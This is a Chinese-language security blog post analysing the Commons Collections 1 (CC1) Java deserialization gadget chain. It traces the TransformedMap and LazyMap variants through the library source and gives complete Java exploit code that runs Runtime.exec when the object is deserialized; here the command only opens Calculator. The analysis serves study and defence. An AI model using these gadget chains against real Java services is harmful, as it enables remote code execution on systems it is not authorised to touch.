Wileysec's Blog

CommonCollections1利用链分析

2022-07-14

利用条件

CommonsCollections 3.1 - 3.2.1

JDK版本:1.7~1.8u71(之后已修复不可利用)

利用链介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class cc1_1 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("key","value");
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

Map.Entry me = (Map.Entry) outerMap.entrySet().iterator().next();
me.setValue("value");
}
}

new ConstantTransformer() 调用父类构造方法,并且将参数对象赋值给常量 iConstant

image-20220920144715817

new InvokeTransformer() 调用父类构造方法,并且对 InvokeTransformer 类的 iMethodNameiParamTypesiArgs 进行赋值

image-20220920145334234

InvokeTransformer 类实现了 Transformer 接口,来看看实现接口的 transform 方法

image-20220920152143671

这看起来像个后门,获取对象的Class,然后获取我们上面写好的方法和参数并执行,这就是一个任意命令执行的点。

new ChainedTransformer() 也只是对常量进行赋值操作

image-20220920151808677

因为 ChainedTransformer 类也实现了 Transformer 接口,再看看 transform 方法

image-20220920152506758

这里对 iTransformers 进行循环执行 transform 方法,并且第一个执行的结果是下一个执行 transform 方法的参数对象。在上面,我们将 Transformer 对象数组赋值给了常量 iTransformers,如果调用 transform 方法那么就实现了链式调用,相当于 ChainedTransformerTransformer 对象数组中所有对象串起来执行。

那么构造好了这么个链,我们如何去执行到 ChainedTransformer 中的 transform 方法呢?

TransformedMap 类中发现 checkSetValue 方法中调用了 transform 方法,且 value 参数也是可控的

image-20220920153748541

来看看这个类的构造方法,由于我们需要 TransformedMap 类的实例化对象,TransformedMap 的构造方法貌似不太适合,而这个类的 decorate 方法实例化了 TransformedMap 类并且返回了,是我们想要的!

image-20220920154047447

image-20220920154030276

那么问题又来了,我们如何执行到 checkSetValue 方法呢?

查找后,发现该执行点在 AbstractInputCheckedMapDecorator 抽象类中的内部类 MapEntry

image-20220920154701612

那么我们只要想办法执行到 setValue 方法,就需要获取到获取到 MapEntry 类的实例化对象

image-20220920155105984

看一看是哪个地方实例化了 MapEntry

image-20220920160430627

还是在 AbstractInputCheckedMapDecorator 抽象类中的内部类 EntrySetIterator

image-20220920160912508

再顺藤摸瓜看看谁实例化了 EntrySetIterator

image-20220920161007041

发现还是在 AbstractInputCheckedMapDecorator 抽象类中的内部类 EntrySet

image-20220920161223292

经过一番查找,发现实例化 EntrySet 构造方法还是在 AbstractInputCheckedMapDecorator 抽象类中

image-20220920161512229

由于 TransformedMap 继承了 AbstractInputCheckedMapDecorator 抽象类,因此我们可以执行调用 entrySet 方法,接下来就是链式调用就可以得到 MapEntry 对象了,类型是 Map.Entry

1
Map.Entry me = (Map.Entry) outerMap.entrySet().iterator().next();

得到 MapEntry 对象后,即可调用我们上面找到的 setValue 方法,这条链我们就清楚了。而我们研究的是在反序列化时自动触发调用链,现在研究的这条并不是,所以接下来按照两条链去研究。

TransformedMap链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

LazyMap链

ysoserial工具中的利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

利用链分析

TransformedMap链

不使用反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorateTransform(innerMap,null,chainedTransformer);
outerMap.put("test","aaa");
}
}

使用反射完整 TransformedMap 链利用代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.abc.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class cc1_1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","aaa"); // 这里的key必须是value
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, outerMap); // 这里必须是有枚举类型成员变量的注解类,且成员变量和上面的key要一致

serialize(o);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
objectInputStream.readObject();
}
}

下面是JDK1.8u65版本的 AnnotationInvocationHandler 注解类,可以看到,构造函数的 memberValues 接受一个 Map 类型的对象,并赋值到本类的变量 memberValues

image-20220921102708960

image-20220921102603648

AnnotationInvocationHandler 注解类重写了 readObject 方法,对我们传入的 Map 对象进行了遍历,在下面我们看到执行了 setValue 方法(如果没有setValue方法的版本,则不能利用成功)。

那么在上面代码中注释写到了,必须key为value,那是为什么呢?

image-20220921145709581

在这里获取了注解类型,并且在446行获取了这个注解类型的成员变量值,447行进行了判断,只要不为Null则会继续往下执行,否则无法执行到 setValue 方法。

image-20220921150128513

image-20220921150159747

上面的 type 变量其实就是我们在反射获取到 AnnotationInvocationHandler 注解类后实例化的参数 Target.class,为什么要选择这个注解类呢?

image-20220921150411615

因为 Target.class 有枚举类型成员变量,且是 value 这就解释了上面我们为什么key只能是value的原因。

image-20220921150936350

最后,进行序列化和反序列化操作后,成功弹出计算器。

LazyMap

LazyMap是ysoserial工具中的CC1链,而TransformedMap是国内流传的。

image-20220921160519844

LazyMap只需要调用get方法即可执行命令

image-20220921160731835

该方法实例化了LazyMap类,继续跟进

image-20220921160827250

image-20220921160853181

LazyMap继承了AbstractMapDecorator抽象类,判断了传递的Map对象是否是Null,不是则进行赋值操作。

再回到LazyMap构造方法中,发现对传递的chainedTransformer参数赋值给LazyMapfactory变量。

image-20220921161314978

再找到get方法,可以看到,调用了factory对象的transform方法

image-20220922160720708

invoke 方法中发现调用了get方法,由于 invoke 方法是在对象代理时才能触发,将这个对象进行Proxy代理,Proxy也实现了序列化接口,所以也是可以反序列化的,在readObject的时候,调用任意方法就会执行AnnotationInvocationHandlerinvoke方法,此时还不能对此进行反序列化因为此时的入口点为sun.reflect.annotation.AnnotationInvocationHandler#readObject

image-20220922161939565

AnnotationInvocationHandler的invoke方法会调用LazyMap对象的get方法,就可以调用transform方法执行到恶意Payload

invoke方法需要调用任意方法,才可触发,对AnnotationInvocationHandler对象进行动态代理,在readyObject方法被执行时就可调用到invoke方法

image-20220923100413649

AnnotationInvocationHandler的memberValues变量接受的Map类型,所以代理对象类型也是Map,这里我们不能直接进行反序列化,我们需要再套一层执行到handler对象的AnnotationInvocationHandler类中的readObject方法即可。

以下是LazyMap链的完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.abc.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1_1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","aaa");
Map lazymap = LazyMap.decorate(innerMap, chainedTransformer);

Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazymap);
Map proxyMap = (Map) Proxy.newProxyInstance(lazymap.getClass().getClassLoader(),lazymap.getClass().getInterfaces(),handler);
handler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

serialize(handler);
unserialize();

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
objectInputStream.readObject();
}
}